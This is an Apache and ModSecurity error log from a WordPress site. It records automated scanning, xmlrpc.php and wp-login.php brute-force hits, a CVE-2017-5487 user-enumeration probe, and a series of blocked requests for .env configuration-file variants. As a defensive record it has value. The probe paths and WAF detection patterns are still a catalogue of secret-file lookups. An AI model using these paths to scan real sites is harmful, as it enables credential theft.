[Tue Nov 25 02:38:52.500677 2025] [autoindex:error] [pid 16441:tid 16467] [client 142.111.152.63:45937] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/block-patterns/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Nov 25 02:38:55.854703 2025] [autoindex:error] [pid 16441:tid 16450] [client 142.111.152.63:45937] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/style-engine/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Nov 25 02:39:01.442529 2025] [autoindex:error] [pid 16441:tid 16451] [client 142.111.152.63:45937] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/js/tinymce/plugins/compat3x/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Nov 25 02:39:13.992614 2025] [autoindex:error] [pid 16441:tid 16458] [client 142.111.152.63:45937] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/Requests/src/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Nov 25 02:39:22.404687 2025] [autoindex:error] [pid 16441:tid 16457] [client 142.111.152.63:45937] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-content/plugins/elementor/modules/floating-buttons/classes/render/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Nov 25 02:39:33.458718 2025] [autoindex:error] [pid 16441:tid 16444] [client 142.111.152.63:45937] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/blocks/paragraph/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Nov 25 02:39:34.888726 2025] [autoindex:error] [pid 16441:tid 16448] [client 142.111.152.63:45937] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-content/plugins/elementor/assets/js/packages/editor-app-bar/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Nov 25 02:39:47.567949 2025] [autoindex:error] [pid 16441:tid 16464] [client 142.111.152.63:45937] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/css/dist/nux/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Nov 25 02:39:51.642580 2025] [autoindex:error] [pid 16441:tid 16446] [client 142.111.152.63:45937] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/js/tinymce/plugins/lists/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Nov 25 02:39:52.175144 2025] [autoindex:error] [pid 16441:tid 16468] [client 142.111.152.63:45937] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/js/tinymce/skins/lightgray/img/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Nov 25 02:45:59.384521 2025] [:error] [pid 48601:tid 48678] [client 43.130.3.122:46576] [client 43.130.3.122] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aSSn54MM4MaVTk74-AYg1QAAAhU"]
[Tue Nov 25 02:51:59.008505 2025] [:error] [pid 49900:tid 49922] [client 143.198.212.205:49601] [client 143.198.212.205] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 143.198.212.205, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSSpTzCyPLrvg06aormKAAAAABQ"]
[Tue Nov 25 02:52:01.316449 2025] [:error] [pid 49900:tid 49919] [client 143.198.212.205:49601] [client 143.198.212.205] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users/"] [unique_id "aSSpUTCyPLrvg06aormKBAAAABE"]
[Tue Nov 25 02:52:02.825094 2025] [:error] [pid 49900:tid 49912] [client 143.198.212.205:49601] [client 143.198.212.205] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 143.198.212.205, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSSpUjCyPLrvg06aormKCQAAAAo"]
[Tue Nov 25 02:52:04.295305 2025] [:error] [pid 16593:tid 16601] [client 143.198.212.205:54753] [client 143.198.212.205] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 143.198.212.205, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSSpVBVGznHBJI2LKpSYuAAAAoY"]
[Tue Nov 25 02:52:05.651170 2025] [:error] [pid 48601:tid 48669] [client 143.198.212.205:52227] [client 143.198.212.205] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 143.198.212.205, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSSpVYMM4MaVTk74-AYh8QAAAgw"]
[Tue Nov 25 02:52:07.005090 2025] [:error] [pid 48688:tid 48693] [client 143.198.212.205:60955] [client 143.198.212.205] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 143.198.212.205, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSSpVxm2q1FkzLam7A0EfAAAAkE"]
[Tue Nov 25 02:52:08.366763 2025] [:error] [pid 48601:tid 48680] [client 143.198.212.205:49966] [client 143.198.212.205] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 143.198.212.205, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSSpWIMM4MaVTk74-AYh8wAAAhc"]
[Tue Nov 25 02:52:08.366943 2025] [:error] [pid 48601:tid 48680] [client 143.198.212.205:49966] [client 143.198.212.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 143.198.212.205, counter = 6"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSSpWIMM4MaVTk74-AYh8wAAAhc"]
[Tue Nov 25 02:53:40.557042 2025] [:error] [pid 48600:tid 48644] [client 162.214.205.31:34808] [client 162.214.205.31] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 162.214.205.31, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aSSptPtOzSUAQvWVjBfKaAAAAc4"]
[Tue Nov 25 02:53:42.801897 2025] [:error] [pid 16516:tid 16535] [client 162.214.205.31:34930] [client 162.214.205.31] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 162.214.205.31, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aSSptvqZbniwaNwL8Xk4OgAAARA"]
[Tue Nov 25 03:59:05.128294 2025] [:error] [pid 14168:tid 14182] [client 106.222.209.82:31463] [client 106.222.209.82] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 106.222.209.82, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSS5CfR-ZDU0QEgAIItOSgAAAMs"]
[Tue Nov 25 04:08:47.499421 2025] [:error] [pid 14168:tid 14183] [client 5.189.145.165:37664] [client 5.189.145.165] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 5.189.145.165, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSS7T_R-ZDU0QEgAIItRsAAAAMw"]
[Tue Nov 25 05:01:28.859916 2025] [:error] [pid 14078:tid 14142] [client 5.223.50.243:35770] [client 5.223.50.243] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 5.223.50.243, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSTHqNVXYbb0ii_rVoJESgAAAIU"]
[Tue Nov 25 05:56:28.302818 2025] [:error] [pid 14077:tid 14114] [client 194.60.201.200:49454] [client 194.60.201.200] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 194.60.201.200, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSTUjBG9n7UHEkwDTyhXjAAAAEQ"]
[Tue Nov 25 06:26:13.685940 2025] [:error] [pid 14688:tid 14712] [client 157.230.148.75:59226] [client 157.230.148.75] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 157.230.148.75, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aSTbhW9vYrBoEsiDnizz-wAAARY"], referer: https://gigfragments.org/wp-admin/
[Tue Nov 25 06:46:55.271767 2025] [:error] [pid 14076:tid 14089] [client 3.9.250.62:14852] [client 3.9.250.62] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 3.9.250.62, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSTgX3sB4Gz6Qw-pvBseXwAAAAg"]
[Tue Nov 25 07:44:00.242395 2025] [:error] [pid 1103:tid 1111] [client 106.222.209.82:15613] [client 106.222.209.82] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "aSTtwI0LETdqOlq63sQsMwAAAUI"]
[Tue Nov 25 07:45:38.266418 2025] [:error] [pid 1103:tid 1130] [client 106.222.209.82:32000] [client 106.222.209.82] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 106.222.209.82, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSTuIo0LETdqOlq63sQtCAAAAVU"]
[Tue Nov 25 07:47:11.211950 2025] [:error] [pid 14688:tid 14696] [client 106.222.209.82:22493] [client 106.222.209.82] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 106.222.209.82, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSTuf29vYrBoEsiDniwIjAAAAQY"]
[Tue Nov 25 07:48:33.973030 2025] [:error] [pid 14077:tid 14130] [client 106.222.209.82:14646] [client 106.222.209.82] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 106.222.209.82, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSTu0RG9n7UHEkwDTyhyIAAAAFQ"]
[Tue Nov 25 07:49:54.726479 2025] [:error] [pid 1103:tid 1123] [client 106.222.209.82:23135] [client 106.222.209.82] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 106.222.209.82, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSTvIo0LETdqOlq63sQulgAAAU4"]
[Tue Nov 25 07:51:21.438105 2025] [:error] [pid 14168:tid 14183] [client 106.222.209.82:21935] [client 106.222.209.82] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 106.222.209.82, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSTvefR-ZDU0QEgAIIucqgAAAMw"]
[Tue Nov 25 08:42:17.589617 2025] [:error] [pid 14688:tid 14700] [client 101.33.55.204:43474] [client 101.33.55.204] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aST7aW9vYrBoEsiDniwXQQAAAQo"]
[Tue Nov 25 08:42:52.462589 2025] [:error] [pid 14077:tid 14124] [client 156.67.105.115:40238] [client 156.67.105.115] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 156.67.105.115, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aST7jBG9n7UHEkwDTyiJnQAAAE4"]
[Tue Nov 25 09:41:03.321632 2025] [:error] [pid 14168:tid 14183] [client 180.110.203.108:41997] [client 180.110.203.108] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aSUJL_R-ZDU0QEgAIIu6QAAAAMw"]
[Tue Nov 25 09:41:19.725925 2025] [:error] [pid 14078:tid 14141] [client 151.80.24.32:55832] [client 151.80.24.32] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 151.80.24.32, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSUJP9VXYbb0ii_rVoKRqgAAAIQ"]
[Tue Nov 25 10:22:29.443866 2025] [proxy_fcgi:error] [pid 14078:tid 14139] (70007)The timeout specified has expired: [client 51.81.107.180:50584] AH01075: Error dispatching request to : (polling)
[Tue Nov 25 10:30:19.280670 2025] [:error] [pid 28836:tid 28957] [client 188.166.188.97:22403] [client 188.166.188.97] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.166.188.97, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aSUUu5wNRsoxcLQGkTc3hwAAAsI"]
[Tue Nov 25 10:30:21.327998 2025] [:error] [pid 14168:tid 14195] [client 188.166.188.97:22690] [client 188.166.188.97] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.166.188.97, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aSUUvfR-ZDU0QEgAIIvGkAAAANg"]
[Tue Nov 25 10:57:23.850706 2025] [:error] [pid 14688:tid 14705] [client 18.143.174.17:47214] [client 18.143.174.17] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env"] [unique_id "aSUbE29vYrBoEsiDniw39AAAAQ8"]
[Tue Nov 25 10:57:24.272832 2025] [:error] [pid 28609:tid 28639] [client 18.143.174.17:47226] [client 18.143.174.17] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.local"] [unique_id "aSUbFCGGdT-nZJVs3x1JsAAAAZU"]
[Tue Nov 25 10:57:24.703259 2025] [:error] [pid 14078:tid 14154] [client 18.143.174.17:47230] [client 18.143.174.17] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.dev"] [unique_id "aSUbFNVXYbb0ii_rVoKl4AAAAJE"]
[Tue Nov 25 10:57:25.108562 2025] [:error] [pid 28836:tid 28963] [client 18.143.174.17:47234] [client 18.143.174.17] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.prod"] [unique_id "aSUbFZwNRsoxcLQGkTc73AAAAsg"]
[Tue Nov 25 10:57:25.505345 2025] [:error] [pid 28609:tid 28625] [client 18.143.174.17:47248] [client 18.143.174.17] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.staging"] [unique_id "aSUbFSGGdT-nZJVs3x1JswAAAYc"]
[Tue Nov 25 10:57:25.897503 2025] [:error] [pid 28609:tid 28631] [client 18.143.174.17:47610] [client 18.143.174.17] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.development"] [unique_id "aSUbFSGGdT-nZJVs3x1JtAAAAY0"]
[Tue Nov 25 10:57:26.291225 2025] [:error] [pid 28739:tid 28771] [client 18.143.174.17:47612] [client 18.143.174.17] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.production"] [unique_id "aSUbFhxGpKmlkG4FexQDFQAAAgk"]
[Tue Nov 25 10:57:26.687104 2025] [:error] [pid 28836:tid 28986] [client 18.143.174.17:47618] [client 18.143.174.17] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.test"] [unique_id "aSUbFpwNRsoxcLQGkTc73gAAAs8"]
[Tue Nov 25 10:57:27.080585 2025] [:error] [pid 14078:tid 14155] [client 18.143.174.17:47628] [client 18.143.174.17] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.backup"] [unique_id "aSUbF9VXYbb0ii_rVoKl4QAAAJI"]
[Tue Nov 25 10:57:27.476085 2025] [:error] [pid 14688:tid 14707] [client 18.143.174.17:47638] [client 18.143.174.17] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env~"] [unique_id "aSUbF29vYrBoEsiDniw39wAAARE"]
[Tue Nov 25 10:57:27.869247 2025] [:error] [pid 28836:tid 28962] [client 18.143.174.17:47650] [client 18.143.174.17] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.sample"] [unique_id "aSUbF5wNRsoxcLQGkTc74AAAAsc"]
[Tue Nov 25 10:57:28.263016 2025] [:error] [pid 28740:tid 28809] [client 18.143.174.17:47652] [client 18.143.174.17] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.old"] [unique_id "aSUbGFppQCoYxWW6V0X1jAAAAlI"]
[Tue Nov 25 10:57:28.656743 2025] [:error] [pid 14168:tid 14177] [client 18.143.174.17:47660] [client 18.143.174.17] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.bak"] [unique_id "aSUbGPR-ZDU0QEgAIIvMHwAAAMY"]
[Tue Nov 25 10:57:29.049623 2025] [:error] [pid 14688:tid 14709] [client 18.143.174.17:47664] [client 18.143.174.17] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.save"] [unique_id "aSUbGW9vYrBoEsiDniw3-gAAARM"]
[Tue Nov 25 10:57:29.442108 2025] [:error] [pid 14077:tid 14128] [client 18.143.174.17:47678] [client 18.143.174.17] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.orig"] [unique_id "aSUbGRG9n7UHEkwDTyjB_AAAAFI"]
[Tue Nov 25 10:57:29.834709 2025] [:error] [pid 14076:tid 14094] [client 18.143.174.17:47694] [client 18.143.174.17] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.swp"] [unique_id "aSUbGXsB4Gz6Qw-pvBtdrQAAAA0"]
